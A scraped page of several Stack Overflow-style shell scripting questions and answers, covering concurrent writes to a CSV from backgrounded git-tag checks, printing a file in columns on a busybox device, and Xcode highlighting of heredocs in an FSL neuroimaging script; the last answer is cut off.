Related
I want to run a script agains a long subset of items, and each of them run concurrently, only when every iteration finishes, write it to a file.
For some reason, it writes to the file without finishing the function:
#!/bin/bash
function print_not_semver_line() {
echo -n "$repo_name,"
git tag -l | while read -r tag_name;do
semver $tag_name > /dev/null || echo -n "$tag_name "
done
echo ""
}
csv_name=~/Scripts/all_repos/not_semver.csv
echo "Repo Name,Not Semver Versions" > $csv_name
while read -r repo_name;do
cd $repo_dir
print_not_semver_line >> $csv_name &
done < ~/Scripts/all_repos/all_repos.txt
of course without &, it does what it supposed to do, but with it, it gets all messed up.
Ideas?
Here's an alternative that uses xargs for its natural parallelization, and a quick script that determines all of the non-semver tags and outputs at the end of the repo.
The premise is that this script does nothing fancy, it just loops over its provided directories and does one at a time, where you can parallelize outside of the script.
#!/bin/bash
log() {
now=$(date -Isec --utc)
echo "${now} $$ ${*}" > /dev/stderr
}
# I don't have semver otherwise available, so a knockoff replacement
function is_semver() {
echo "$*" | egrep -q "^v?[0-9]+\.[0-9]+\.[0-9]+$"
}
log "Called with: ${#}"
for repo_dir in ${#} ; do
log "Starting '${repo_dir}'"
bad=$(
git -C "${repo_dir}" tag -l | \
while read tag_name ; do
is_semver "${tag_name}" || echo -n "${tag_name} "
done
)
log "Done '${repo_dir}'"
echo "${repo_dir},${bad}"
done
log "exiting"
I have a project directory with various cloned github repos, I'll run it using xargs here. Notice a few things:
I am demonstrating calling the script with -L2 two directories per call (not parallelized) but -P4 four of these scripts running simultaneously
everything left of xargs in the pipe should be your method of determining what dirs/repos to iterate over
the first batch of processes starts with PIDs 17438, 17439, 17440, and 17442, and only when one of those quits (17442 then 17439) are new processes started
if you are not concerned with too many things running at once, you might use xargs -L1 -P9999 or something equally ridiculous :-)
$ find . -maxdepth 2 -iname .git | sed -e 's,/\.git,,g' | head -n 12 | \
xargs -L2 -P4 ~/StackOverflow/5783481/62283574_2.sh > not_semver.csv
2020-06-09T17:51:39+00:00 17438 Called with: ./calendar ./callr
2020-06-09T17:51:39+00:00 17439 Called with: ./docker-self-service-password ./ggnomics
2020-06-09T17:51:39+00:00 17438 Starting './calendar'
2020-06-09T17:51:39+00:00 17440 Called with: ./ggplot2 ./grid
2020-06-09T17:51:39+00:00 17439 Starting './docker-self-service-password'
2020-06-09T17:51:39+00:00 17442 Called with: ./gt ./keyring
2020-06-09T17:51:39+00:00 17440 Starting './ggplot2'
2020-06-09T17:51:39+00:00 17442 Starting './gt'
2020-06-09T17:51:39+00:00 17442 Done './gt'
2020-06-09T17:51:40+00:00 17442 Starting './keyring'
2020-06-09T17:51:40+00:00 17438 Done './calendar'
2020-06-09T17:51:40+00:00 17438 Starting './callr'
2020-06-09T17:51:40+00:00 17439 Done './docker-self-service-password'
2020-06-09T17:51:40+00:00 17439 Starting './ggnomics'
2020-06-09T17:51:40+00:00 17442 Done './keyring'
2020-06-09T17:51:40+00:00 17439 Done './ggnomics'
2020-06-09T17:51:40+00:00 17442 exiting
2020-06-09T17:51:40+00:00 17439 exiting
2020-06-09T17:51:40+00:00 17515 Called with: ./knitr ./ksql
2020-06-09T17:51:40+00:00 17518 Called with: ./nanodbc ./nostalgy
2020-06-09T17:51:40+00:00 17515 Starting './knitr'
2020-06-09T17:51:40+00:00 17518 Starting './nanodbc'
2020-06-09T17:51:41+00:00 17438 Done './callr'
2020-06-09T17:51:41+00:00 17438 exiting
2020-06-09T17:51:42+00:00 17440 Done './ggplot2'
2020-06-09T17:51:42+00:00 17440 Starting './grid'
2020-06-09T17:51:43+00:00 17518 Done './nanodbc'
2020-06-09T17:51:43+00:00 17518 Starting './nostalgy'
2020-06-09T17:51:43+00:00 17518 Done './nostalgy'
2020-06-09T17:51:43+00:00 17518 exiting
2020-06-09T17:51:43+00:00 17440 Done './grid'
2020-06-09T17:51:43+00:00 17440 exiting
2020-06-09T17:51:44+00:00 17515 Done './knitr'
2020-06-09T17:51:44+00:00 17515 Starting './ksql'
2020-06-09T17:51:55+00:00 17515 Done './ksql'
2020-06-09T17:51:55+00:00 17515 exiting
The output, in not_semver.csv:
./gt,
./calendar,
./docker-self-service-password,2.7 2.8 3.0
./keyring,
./ggnomics,
./callr,
./ggplot2,ggplot2-0.7 ggplot2-0.8 ggplot2-0.8.1 ggplot2-0.8.2 ggplot2-0.8.3 ggplot2-0.8.5 ggplot2-0.8.6 ggplot2-0.8.7 ggplot2-0.8.8 ggplot2-0.8.9 ggplot2-0.9.0 ggplot2-0.9.1 ggplot2-0.9.2 ggplot2-0.9.2.1 ggplot2-0.9.3 ggplot2-0.9.3.1 show
./nanodbc,
./nostalgy,
./grid,0.1 0.2 0.5 0.5-1 0.6 0.6-1 0.7-1 0.7-2 0.7-3 0.7-4
./knitr,doc v0.1 v0.2 v0.3 v0.4 v0.5 v0.6 v0.7 v0.8 v0.9 v1.0 v1.1 v1.10 v1.11 v1.12 v1.13 v1.14 v1.15 v1.16 v1.17 v1.18 v1.19 v1.2 v1.20 v1.3 v1.4 v1.5 v1.6 v1.7 v1.8 v1.9
./ksql,0.1-pre1 0.1-pre10 0.1-pre2 0.1-pre4 0.1-pre5 0.1-pre6 0.1-pre7 0.1-pre8 0.1-pre9 0.3 v0.2 v0.2-rc0 v0.2-rc1 v0.3 v0.3-rc0 v0.3-rc1 v0.3-rc2 v0.3-rc3 v0.3-temp v0.4 v0.4-rc0 v0.4-rc1 v0.5 v0.5-rc0 v0.5-rc1 v4.1.0-rc1 v4.1.0-rc2 v4.1.0-rc3 v4.1.0-rc4 v4.1.1-rc1 v4.1.1-rc2 v4.1.1-rc3 v4.1.2-beta180719000536 v4.1.2-beta3 v4.1.2-rc1 v4.1.3-beta180814192459 v4.1.3-beta180828173526 v5.0.0-beta1 v5.0.0-beta10 v5.0.0-beta11 v5.0.0-beta12 v5.0.0-beta14 v5.0.0-beta15 v5.0.0-beta16 v5.0.0-beta17 v5.0.0-beta18 v5.0.0-beta180622225242 v5.0.0-beta180626015140 v5.0.0-beta180627203620 v5.0.0-beta180628184550 v5.0.0-beta180628221539 v5.0.0-beta180629053850 v5.0.0-beta180630224559 v5.0.0-beta180701010229 v5.0.0-beta180701053749 v5.0.0-beta180701175910 v5.0.0-beta180701205239 v5.0.0-beta180702185100 v5.0.0-beta180702222458 v5.0.0-beta180706202823 v5.0.0-beta180707005130 v5.0.0-beta180707072142 v5.0.0-beta180718203558 v5.0.0-beta180722214927 v5.0.0-beta180723195256 v5.0.0-beta180726003306 v5.0.0-beta180730183336 v5.0.0-beta19 v5.0.0-beta2 v5.0.0-beta20 v5.0.0-beta21 v5.0.0-beta22 v5.0.0-beta23 v5.0.0-beta24 v5.0.0-beta25 v5.0.0-beta26 v5.0.0-beta27 v5.0.0-beta28 v5.0.0-beta29 v5.0.0-beta3 v5.0.0-beta30 v5.0.0-beta31 v5.0.0-beta32 v5.0.0-beta33 v5.0.0-beta5 v5.0.0-beta6 v5.0.0-beta7 v5.0.0-beta8 v5.0.0-beta9 v5.0.0-rc1 v5.0.0-rc3 v5.0.0-rc4 v5.0.1-beta180802235906 v5.0.1-beta180812233236 v5.0.1-beta180824214627 v5.0.1-beta180826190446 v5.0.1-beta180828173436 v5.0.1-beta180830182727 v5.0.1-beta180902210116 v5.0.1-beta180905054336 v5.0.1-beta180909000146 v5.0.1-beta180909000436 v5.0.1-beta180911213156 v5.0.1-beta180913003126 v5.0.1-beta180914024526 v5.0.1-beta181008233543 v5.0.1-beta181018200736 v5.0.1-rc1 v5.0.1-rc2 v5.0.1-rc3 v5.0.2-beta181116204629 v5.0.2-beta181116204811 v5.0.2-beta181116205152 v5.0.2-beta181117022246 v5.0.2-beta181118024524 v5.0.2-beta181119063215 v5.0.2-beta181119185816 v5.0.2-beta181126211008 v5.1.0-beta180611231144 v5.1.0-beta180612043613 v5.1.0-beta180612224009 v5.1.0-beta180613013021 v5.1.0-beta180614233101 v5.1.0-beta180615005408 v5.1.0-beta180618191747 v5.1.0-beta180618214711 v5.1.0-beta180618223247 v5.1.0-beta180618225004 v5.1.0-beta180619025141 v5.1.0-beta180620180431 v5.1.0-beta180620180739 v5.1.0-beta180620183559 v5.1.0-beta180622181348 v5.1.0-beta180626014959 v5.1.0-beta180627203509 v5.1.0-beta180628064520 v5.1.0-beta180628184841 v5.1.0-beta180630224439 v5.1.0-beta180701010040 v5.1.0-beta180701175749 v5.1.0-beta180702063039 v5.1.0-beta180702063440 v5.1.0-beta180702214311 v5.1.0-beta180702220040 v5.1.0-beta180703024529 v5.1.0-beta180706202701 v5.1.0-beta180707004950 v5.1.0-beta180718203536 v5.1.0-beta180722215127 v5.1.0-beta180723023347 v5.1.0-beta180723173636 v5.1.0-beta180724024536 v5.1.0-beta180730185716 v5.1.0-beta180812233046 v5.1.0-beta180820223106 v5.1.0-beta180824214446 v5.1.0-beta180828022857 v5.1.0-beta180828173516 v5.1.0-beta180829024526 v5.1.0-beta180905054157 v5.1.0-beta180911213206 v5.1.0-beta180912202326 v5.1.0-beta180917172706 v5.1.0-beta180919183606 v5.1.0-beta180928000756 v5.1.0-beta180929024526 v5.1.0-beta201806191956 v5.1.0-beta201806200051 v5.1.0-beta34 v5.1.0-beta35 v5.1.0-beta36 v5.1.0-beta37 v5.1.0-beta38 v5.1.0-beta39 v5.1.0-rc1 v6.0.0-beta181009070836 v6.0.0-beta181009071126 v6.0.0-beta181009071136 v6.0.0-beta181011024526
To reduce verbosity, you could remove logging and such, most of this output was intended to demonstrate the timing and running.
As another alternative, consider something like this:
log() {
now=$(date -Isec --utc)
echo "${now} ${*}" > /dev/stderr
}
# I don't have semver otherwise available, so a knockoff replacement
function is_semver() {
echo "$*" | egrep -q "^v?[0-9]+\.[0-9]+\.[0-9]+$"
}
function print_something() {
local repo_name=$1 tag_name=
bad=$(
git tag -l | while read tag_name ; do
is_semver "${tag_name}" || echo -n "${tag_name} "
done
)
echo "${repo_name},${bad}"
}
csvdir=$(mktemp -d not_semver_tempdir.XXXXXX)
csvdir=$(realpath "${csvdir}")/
log "Temp Directory: ${csvdir}"
while read -r repo_dir ; do
log "Starting '${repo_dir}'"
(
if [ -d "${repo_dir}" ]; then
repo_name=$(basename "${repo_dir}")
tmpfile=$(mktemp -p "${csvdir}")
tmpfile=$(realpath "${tmpfile}")
cd "${repo_dir}"
print_something "${repo_name}" > "${tmpfile}" 2> /dev/null
fi
) &
done
wait
outfile=$(mktemp not_semver_XXXXXX.csv)
cat ${csvdir}* > "${outfile}"
# rm -rf "${csvdir}" # uncomment when you're comfortable/confident
log "Output: ${outfile}"
I don't like it as much, admittedly, but its premise is that it creates a temporary directory in which each repo process will write its own file. Once all backgrounded jobs are complete (i.e., the wait near the end), all files are concatenated into an output.
Running it (without xargs):
$ find . -maxdepth 2 -iname .git | sed -e 's,/\.git,,g' | head -n 12 | \
~/StackOverflow/5783481/62283574.sh
2020-06-10T14:48:18+00:00 Temp Directory: /c/Users/r2/Projects/github/not_semver_tempdir.YeyaNY/
2020-06-10T14:48:18+00:00 Starting './calendar'
2020-06-10T14:48:18+00:00 Starting './callr'
2020-06-10T14:48:18+00:00 Starting './docker-self-service-password'
2020-06-10T14:48:18+00:00 Starting './ggnomics'
2020-06-10T14:48:18+00:00 Starting './ggplot2'
2020-06-10T14:48:19+00:00 Starting './grid'
2020-06-10T14:48:19+00:00 Starting './gt'
2020-06-10T14:48:19+00:00 Starting './keyring'
2020-06-10T14:48:19+00:00 Starting './knitr'
2020-06-10T14:48:19+00:00 Starting './ksql'
2020-06-10T14:48:19+00:00 Starting './nanodbc'
2020-06-10T14:48:19+00:00 Starting './nostalgy'
2020-06-10T14:48:38+00:00 Output: not_semver_CLy098.csv
r2#d2sb2 MINGW64 ~/Projects/github
$ cat not_semver_CLy098.csv
keyring,
ksql,0.1-pre1 0.1-pre10 0.1-pre2 0.1-pre4 0.1-pre5 0.1-pre6 0.1-pre7 0.1-pre8 0.1-pre9 0.3 v0.2 v0.2-rc0 v0.2-rc1 v0.3 v0.3-rc0 v0.3-rc1 v0.3-rc2 v0.3-rc3 v0.3-temp v0.4 v0.4-rc0 v0.4-rc1 v0.5 v0.5-rc0 v0.5-rc1 v4.1.0-rc1 v4.1.0-rc2 v4.1.0-rc3 v4.1.0-rc4 v4.1.1-rc1 v4.1.1-rc2 v4.1.1-rc3 v4.1.2-beta180719000536 v4.1.2-beta3 v4.1.2-rc1 v4.1.3-beta180814192459 v4.1.3-beta180828173526 v5.0.0-beta1 v5.0.0-beta10 v5.0.0-beta11 v5.0.0-beta12 v5.0.0-beta14 v5.0.0-beta15 v5.0.0-beta16 v5.0.0-beta17 v5.0.0-beta18 v5.0.0-beta180622225242 v5.0.0-beta180626015140 v5.0.0-beta180627203620 v5.0.0-beta180628184550 v5.0.0-beta180628221539 v5.0.0-beta180629053850 v5.0.0-beta180630224559 v5.0.0-beta180701010229 v5.0.0-beta180701053749 v5.0.0-beta180701175910 v5.0.0-beta180701205239 v5.0.0-beta180702185100 v5.0.0-beta180702222458 v5.0.0-beta180706202823 v5.0.0-beta180707005130 v5.0.0-beta180707072142 v5.0.0-beta180718203558 v5.0.0-beta180722214927 v5.0.0-beta180723195256 v5.0.0-beta180726003306 v5.0.0-beta180730183336 v5.0.0-beta19 v5.0.0-beta2 v5.0.0-beta20 v5.0.0-beta21 v5.0.0-beta22 v5.0.0-beta23 v5.0.0-beta24 v5.0.0-beta25 v5.0.0-beta26 v5.0.0-beta27 v5.0.0-beta28 v5.0.0-beta29 v5.0.0-beta3 v5.0.0-beta30 v5.0.0-beta31 v5.0.0-beta32 v5.0.0-beta33 v5.0.0-beta5 v5.0.0-beta6 v5.0.0-beta7 v5.0.0-beta8 v5.0.0-beta9 v5.0.0-rc1 v5.0.0-rc3 v5.0.0-rc4 v5.0.1-beta180802235906 v5.0.1-beta180812233236 v5.0.1-beta180824214627 v5.0.1-beta180826190446 v5.0.1-beta180828173436 v5.0.1-beta180830182727 v5.0.1-beta180902210116 v5.0.1-beta180905054336 v5.0.1-beta180909000146 v5.0.1-beta180909000436 v5.0.1-beta180911213156 v5.0.1-beta180913003126 v5.0.1-beta180914024526 v5.0.1-beta181008233543 v5.0.1-beta181018200736 v5.0.1-rc1 v5.0.1-rc2 v5.0.1-rc3 v5.0.2-beta181116204629 v5.0.2-beta181116204811 v5.0.2-beta181116205152 v5.0.2-beta181117022246 v5.0.2-beta181118024524 v5.0.2-beta181119063215 v5.0.2-beta181119185816 v5.0.2-beta181126211008 v5.1.0-beta180611231144 v5.1.0-beta180612043613 v5.1.0-beta180612224009 v5.1.0-beta180613013021 v5.1.0-beta180614233101 v5.1.0-beta180615005408 v5.1.0-beta180618191747 v5.1.0-beta180618214711 v5.1.0-beta180618223247 v5.1.0-beta180618225004 v5.1.0-beta180619025141 v5.1.0-beta180620180431 v5.1.0-beta180620180739 v5.1.0-beta180620183559 v5.1.0-beta180622181348 v5.1.0-beta180626014959 v5.1.0-beta180627203509 v5.1.0-beta180628064520 v5.1.0-beta180628184841 v5.1.0-beta180630224439 v5.1.0-beta180701010040 v5.1.0-beta180701175749 v5.1.0-beta180702063039 v5.1.0-beta180702063440 v5.1.0-beta180702214311 v5.1.0-beta180702220040 v5.1.0-beta180703024529 v5.1.0-beta180706202701 v5.1.0-beta180707004950 v5.1.0-beta180718203536 v5.1.0-beta180722215127 v5.1.0-beta180723023347 v5.1.0-beta180723173636 v5.1.0-beta180724024536 v5.1.0-beta180730185716 v5.1.0-beta180812233046 v5.1.0-beta180820223106 v5.1.0-beta180824214446 v5.1.0-beta180828022857 v5.1.0-beta180828173516 v5.1.0-beta180829024526 v5.1.0-beta180905054157 v5.1.0-beta180911213206 v5.1.0-beta180912202326 v5.1.0-beta180917172706 v5.1.0-beta180919183606 v5.1.0-beta180928000756 v5.1.0-beta180929024526 v5.1.0-beta201806191956 v5.1.0-beta201806200051 v5.1.0-beta34 v5.1.0-beta35 v5.1.0-beta36 v5.1.0-beta37 v5.1.0-beta38 v5.1.0-beta39 v5.1.0-rc1 v6.0.0-beta181009070836 v6.0.0-beta181009071126 v6.0.0-beta181009071136 v6.0.0-beta181011024526
knitr,doc v0.1 v0.2 v0.3 v0.4 v0.5 v0.6 v0.7 v0.8 v0.9 v1.0 v1.1 v1.10 v1.11 v1.12 v1.13 v1.14 v1.15 v1.16 v1.17 v1.18 v1.19 v1.2 v1.20 v1.3 v1.4 v1.5 v1.6 v1.7 v1.8 v1.9
calendar,
ggplot2,ggplot2-0.7 ggplot2-0.8 ggplot2-0.8.1 ggplot2-0.8.2 ggplot2-0.8.3 ggplot2-0.8.5 ggplot2-0.8.6 ggplot2-0.8.7 ggplot2-0.8.8 ggplot2-0.8.9 ggplot2-0.9.0 ggplot2-0.9.1 ggplot2-0.9.2 ggplot2-0.9.2.1 ggplot2-0.9.3 ggplot2-0.9.3.1 show
nostalgy,
callr,
docker-self-service-password,2.7 2.8 3.0
grid,0.1 0.2 0.5 0.5-1 0.6 0.6-1 0.7-1 0.7-2 0.7-3 0.7-4
ggnomics,
nanodbc,
gt,
use a variable or temp file for buffering lines. random file name is used
($0 = script name, $! = most recently background PID)
make sure you have write permissions. if you are worried about eMMC Flash Memory wear-out or write speeds you can also use shared-memory /run/shm
#!/bin/bash
print_not_semver_line() {
# random file name for line buffering
local tmpfile="${0%.*}${!:-0}.tmp~"
touch "$tmpfile" || return 1
# redirect stdout into different tmp file
echo -n "$repo_name," > "$tmpfile"
git tag -l | while read -r tag_name;do
semver $tag_name > /dev/null || echo -n "$tag_name " >> "$tmpfile"
done
echo "" >> "$tmpfile"
# print the whole line from one single ride
cat "$tmpfile" && rm "$tmpfile" && return 0
}
however, it is recommended to limit the maximum number of background processes. for the above example you can count open files with lsof
this function is waiting for given file name. it will check for similar file names and wait until number of open files is below allowed maximum. use it in your loop
first argument is mandatory file name
second argument is optional limit (default 4)
third argument is optional frequency for lsof
usage: wait_of <file> [<limit>] [<freq>]
# wait for open files (of)
wait_of() {
local pattern="$1" limit=${2:-4} time=${3:-1} path of
# check path
path="${pattern%/*}"
pattern="${pattern##*/}"
[ "$path" = "$pattern" ] && path=.
[ -e "$path" ] && [ -d "$(realpath "$path")" ] || return 1
# convert file name into regex
pattern="${pattern//[0-9]/0}"
while [[ "$pattern" =~ "00" ]]
do
pattern="${pattern//00/0}"
done
pattern="${pattern//0/[0-9]*}"
pattern="${pattern//[[:space:]]/[[:space:]]}"
# check path with regex for open files > 4 and wait
of=$(lsof -t "$path"/$pattern 2> /dev/null | wc -l)
while (( ${of:-0} > $limit ))
do
of=$(lsof -t "$path"/$pattern 2> /dev/null | wc -l)
sleep $time
done
return 0
}
# make sure only give one single tmp file name
wait_of "${0%.*}${!:-0}.tmp~" || exit 2
print_not_semver_line >> $csv_name &
I have an file , my file name is lookup.txt. Sometimes this file content is 100 lines , so everything scroll while printing. Thats why i like to print it on screen in 2 or more columns.
my bash doesnt support commands like pr or columns.Need to be in old fashion shell.
Content of lookup file is:
1-Top Scores
2-Last Scores
3-Username
4-Birthday
5-Last Meal today
6-Coronavirus in Italy
7-Lets Stay Home
8-Winner
9-Germany and Belgium
10-Alfa
11-Bravo
12-Charlie and delta
For printing in columns i use this command found here on stackoverflow:
cat lookup.txt | xargs printf '%-24s\n' | sed '$p;N;s/\n//;$p;N;s/\n//'
and this is the print in columns:
1-Top Scores 2-Last
Scores 3-Username 4-Birthday
5-Last Meal today
6-Coronavirus in Italy
7-Lets Stay Home
8-Winner 9-Germany and
Belgium 10-Alfa 11-Bravo
12-Charlie and delta
What i need is to let sed not split the words into different columns but just the line.
1-Top Scores 6-Coronavirus in Italy 11-Bravo
2-Last Scores 7-Lets Stay Home 12-Charlie and delta
3-Username 8-Winner
4-Birthday 9-Germany and Belgium
5-Last Meal today 10-Alfa
if the 3 columns are to width then x chars then print in 2 columns (this last is optional)
thanks in advance
Available tools:
/bin:
ash gunzip ping
base64 gzip ping6
bash hostname ps
bash.bash ionice ps.procps
busybox kill pwd
busybox.nosuid kill.procps rm
busybox.suid kmod rmdir
cat ln run-parts
chattr login sed
chgrp login.shadow setserial
chmod ls sh
chown lsattr sleep
cp lsmod stat
cttyhack lsmod.kmod stty
date mkdir su
dd mknod su.shadow
df mktemp sync
dmesg more tar
dnsdomainname mount touch
echo mount.util-linux true
editor mountpoint true.coreutils
egrep mountpoint.sysvinit umount
fake-hwclock mpstat uname
false mv usleep
false.coreutils netstat vi
fatattr nice vi.sh
fgrep pidof watch
getopt pidof.procps watch.procps
grep pidof.sysvinit zcat
/sbin:
arp ifup mkfs.ext4 runlevel.sysvinit
blkid init mkswap setconsole
blkid.util-linux init.sysvinit modinfo shutdown
bootlogd inotifyd modinfo.kmod shutdown.sysvinit
bridge insmod modprobe start-stop-daemon
depmod insmod.kmod modprobe.kmod stb-hwclock
depmod.kmod ip mount.cifs sulogin
devmem ip.iproute2 mount.fuse sulogin.util-linux
e2fsck iwconfig mount.ntfs swapoff
e2label iwgetid mount.ntfs-3g swapon
flock iwlist nologin switch_root
flock.util-linux iwpriv nologin.shadow sysctl
fsck.ext2 iwspy poweroff sysctl.procps
fsck.ext3 killall5 poweroff.sysvinit syslogd
fsck.ext4 klogd reboot telinit
fstab-decode ldconfig reboot.sysvinit tunctl
fstrim loadkmap rmmod tune2fs
getty logread rmmod.kmod udhcpc
halt losetup route uevent
halt.sysvinit lsmod routef vigr
hdparm mdev routel vigr.shadow
ifcfg mke2fs rtmon vipw
ifconfig mkfs.ext2 rtpr vipw.shadow
ifdown mkfs.ext3 runlevel
/usr/bin:
[ realpath
[[ renice
alsamixer reset
ar resize
awk rpcclient
basename rtmpdump
bdpoll scp
bsdcat scsi_logging_level
bunzip2 scsi_mandat
bzcat scsi_readcap
c_rehash scsi_ready
chage scsi_satl
cheetah scsi_start
cheetah-analyze scsi_stop
cheetah-compile scsi_temperature
chfn sdparm
chfn.shadow seq
chrt setsid
chsh sexp-conv
chsh.shadow sg
cifsdd sg_compare_and_write
clear sg_copy_results
cmp sg_dd
crontab sg_decode_sense
curl sg_emc_trespass
cut sg_format
dbclient sg_get_config
dbus-cleanup-sockets sg_get_lba_status
dbus-daemon sg_ident
dbus-launch sg_inq
dbus-monitor sg_logs
dbus-run-session sg_luns
dbus-send sg_map
dbus-update-activation-environment sg_map26
dbus-uuidgen sg_modes
dc sg_opcodes
diff sg_persist
dirname sg_prevent
dlist_test sg_raw
dos2unix sg_rbuf
dotlockfile sg_rdac
du sg_read
easy_install sg_read_attr
easy_install-2.7 sg_read_block_limits
eject sg_read_buffer
enigma2 sg_read_long
enigma2.sh sg_readcap
env sg_reassign
expiry sg_referrals
expr sg_rep_zones
faillog sg_requests
find sg_reset
flip sg_reset_wp
free sg_rmsn
free.procps sg_rtpg
fuser sg_safte
fusermount sg_sanitize
get_device sg_sat_identify
get_driver sg_sat_phy_event
get_module sg_sat_read_gplog
gpasswd sg_sat_set_features
grab sg_scan
groups sg_senddiag
groups.shadow sg_ses
gst-inspect-1.0 sg_ses_microcode
gst-launch-1.0 sg_start
gst-stats-1.0 sg_stpg
gst-typefind-1.0 sg_sync
head sg_test_rwbuf
hotplug_e2_helper sg_timestamp
id sg_turs
killall sg_unmap
last sg_verify
last.sysvinit sg_vpd
lastb sg_wr_mode
lastb.sysvinit sg_write_buffer
lastlog sg_write_long
ldbadd sg_write_same
ldbdel sg_write_verify
ldbedit sg_xcopy
ldbmodify sg_zone
ldbrename sginfo
ldbsearch sgm_dd
less sgp_dd
llmnrd sha1sum
lockfile-check sha256sum
lockfile-create sha3sum
lockfile-remove sha512sum
lockfile-touch shellinaboxd
logger showiframe
logname shuf
lsof skill
lspci skill.procps
lsusb slabtop
mail-lock smbcacls
mail-touchlock smbclient
mail-unlock smbcquotas
md5sum smbget
mesg smbspool
mesg.sysvinit smbtar
mid3cp smbtree
mid3iconv snice
mid3v2 snice.procps
mkfifo sort
moggsplit ssh
mutagen-inspect strings
mutagen-pony systool
nc tail
ndg_httpclient taskset
nettle-hash tee
nettle-lfib-stream telnet
nettle-pbkdf2 test
newgidmap time
newgrp timeout
newgrp.shadow tload
newuidmap toix
nmap toms
nohup top
nslookup top.procps
ntfs-3g tr
ntfs-3g.probe traceroute
ntpdate-sync traceroute6
od truncate
odhcp6c tty
ofgwrite ulockmgr_server
ofgwrite_bin uniq
ofgwrite_test unix2dos
openssl unlink
opkg unxz
opkg-check-config unzip
passwd update-alternatives
passwd.shadow uptime
patch uptime.procps
pgrep users
pgrep.procps utmpdump
pilconvert.py utmpdump.sysvinit
pildriver.py vlock
pilfile.py vmstat
pilfont.py volname
pilprint.py w
pkcs1-conv wall
pkill wall.sysvinit
pkill.procps wc
pmap wget
pmap.procps which
printf who
pwdx whoami
pwdx.procps whois
python wpa_passphrase
python-config xargs
python2 xmlcatalog
python2-config xmllint
python2.7 xzcat
python2.7-config yes
readlink
/usr/sbin:
addgroup grpconv pwck
adduser grpunconv pwconv
alsactl hddtemp pwunconv
automount i2cdetect rdate
avahi-daemon i2cdump rdev
chgpasswd i2cget readprofile
chpasswd i2cset rfkill
chpasswd.shadow ifplugd run-postinsts
chroot inetd setlogcons
crond logoutd sfdisk
delgroup mkfs.ubifs telnetd
deluser mtd_debug ubiattach
dropbear mtdinfo ubiblock
dropbearconvert mtdpart ubicrc32
dropbearkey nanddump ubidetach
dropbearmulti nandtest ubiformat
ether-wake nandwrite ubimkvol
ethtool newusers ubinfo
fbset nl-class-add ubinize
flash_erase nl-class-delete ubirename
flash_eraseall nl-class-list ubirmvol
flash_lock nl-classid-lookup ubirsvol
flash_otp_dump nl-cls-add ubiupdatevol
flash_otp_info nl-cls-delete unix_chkpwd
flash_otp_lock nl-cls-list unix_update
flash_otp_write nl-link-list update-ca-certificates
flash_unlock nl-pktloc-lookup update-rc.d
flashcp nl-qdisc-add useradd
ftpd nl-qdisc-delete userdel
genl-ctrl-list nl-qdisc-list usermod
groupadd ntpd vsftpd
groupdel ntpdate wpa_action
groupmems odhcp6c-update wpa_cli
groupmod parted wpa_supplicant
grpck partprobe
root#xp1000max:~#
Not claiming complete credit, you can modify this andlrc's answer on In bash how can I split a column in several column of fixed dimension to your requirement.
Instead of appending the columns with a whitespace, you can use sprintf() to custom print your column strings. Tested on GNU awk
awk '
BEGIN {
# Numbers of rows to print
n=5;
}
{
# Add to array with key = 0, 1, 2, 3, 4, 0, 1, 2, ..
l[(NR-1)%n] = sprintf("%s%-24s", l[(NR-1)%n], $0)
};
END {
# print the array
for (i = 0; i < length(l); i++) {
print l[i];
}
}
' file
Try this:
cat lookup.txt | tr '\n' '\0' | xargs -0 -n 2 printf '%-24s %-24s\n'
The tr command will convert newlines to nul chars.
Then we tell xargs to take nul-separated args and pass two at a time to the command.
It seems that Xcode really sucks at coloring the shell script. For example, if you copy the following snippet into your Xcode, most of the whole chunk is colored red.
### Creation of the GM template by averaging all (or following the template_list for) the GM_nl_0 and GM_xflipped_nl_0 images
cat <<stage_tpl3 > fslvbm2c
#!/bin/sh
if [ -f ../template_list ] ; then
template_list=\`cat ../template_list\`
template_list=\`\$FSLDIR/bin/remove_ext \$template_list\`
else
template_list=\`echo *_struc.* | sed 's/_struc\./\./g'\`
template_list=\`\$FSLDIR/bin/remove_ext \$template_list | sort -u\`
echo "WARNING - study-specific template will be created from ALL input data - may not be group-size matched!!!"
fi
for g in \$template_list ; do
mergelist="\$mergelist \${g}_struc_GM_to_T"
done
\$FSLDIR/bin/fslmerge -t template_4D_GM \$mergelist
\$FSLDIR/bin/fslmaths template_4D_GM -Tmean template_GM
\$FSLDIR/bin/fslswapdim template_GM -x y z template_GM_flipped
\$FSLDIR/bin/fslmaths template_GM -add template_GM_flipped -div 2 template_GM_init
stage_tpl3
chmod +x fslvbm2c
fslvbm2c_id=`fsl_sub -j $fslvbm2b_id -T 15 -N fslvbm2c ./fslvbm2c`
echo Creating first-pass template: ID=$fslvbm2c_id
### Estimation of the registration parameters of GM to grey matter standard template
/bin/rm -f fslvbm2d
T=template_GM_init
for g in `$FSLDIR/bin/imglob *_struc.*` ; do
echo "${FSLDIR}/bin/fsl_reg ${g}_GM $T ${g}_GM_to_T_init $REG -fnirt \"--config=GM_2_MNI152GM_2mm.cnf\"" >> fslvbm2d
done
chmod a+x fslvbm2d
fslvbm2d_id=`$FSLDIR/bin/fsl_sub -j $fslvbm2c_id -T $HOWLONG -N fslvbm2d -t ./fslvbm2d`
echo Running registration to first-pass template: ID=$fslvbm2d_id
### Creation of the GM template by averaging all (or following the template_list for) the GM_nl_0 and GM_xflipped_nl_0 images
cat <<stage_tpl4 > fslvbm2e
#!/bin/sh
if [ -f ../template_list ] ; then
template_list=\`cat ../template_list\`
template_list=\`\$FSLDIR/bin/remove_ext \$template_list\`
else
template_list=\`echo *_struc.* | sed 's/_struc\./\./g'\`
template_list=\`\$FSLDIR/bin/remove_ext \$template_list | sort -u\`
echo "WARNING - study-specific template will be created from ALL input data - may not be group-size matched!!!"
fi
for g in \$template_list ; do
mergelist="\$mergelist \${g}_struc_GM_to_T_init"
done
\$FSLDIR/bin/fslmerge -t template_4D_GM \$mergelist
\$FSLDIR/bin/fslmaths template_4D_GM -Tmean template_GM
\$FSLDIR/bin/fslswapdim template_GM -x y z template_GM_flipped
\$FSLDIR/bin/fslmaths template_GM -add template_GM_flipped -div 2 template_GM
stage_tpl4
chmod +x fslvbm2e
fslvbm2e_id=`fsl_sub -j $fslvbm2d_id -T 15 -N fslvbm2e ./fslvbm2e`
echo Creating second-pass template: ID=$fslvbm2e_id
It would look like this.
Is there a way whereby I can fix the Xcode coloring issue?
What's confusing Xcode's syntax highlighting here is specifically the combination of heredocs (<<EOF) and escaped backticks (\`).
There's no way to fix it as-is, but, so long as there is no substituted content in the heredocs, you can use a quoted heredoc to remove the requirement for escaped backticks in the first place:
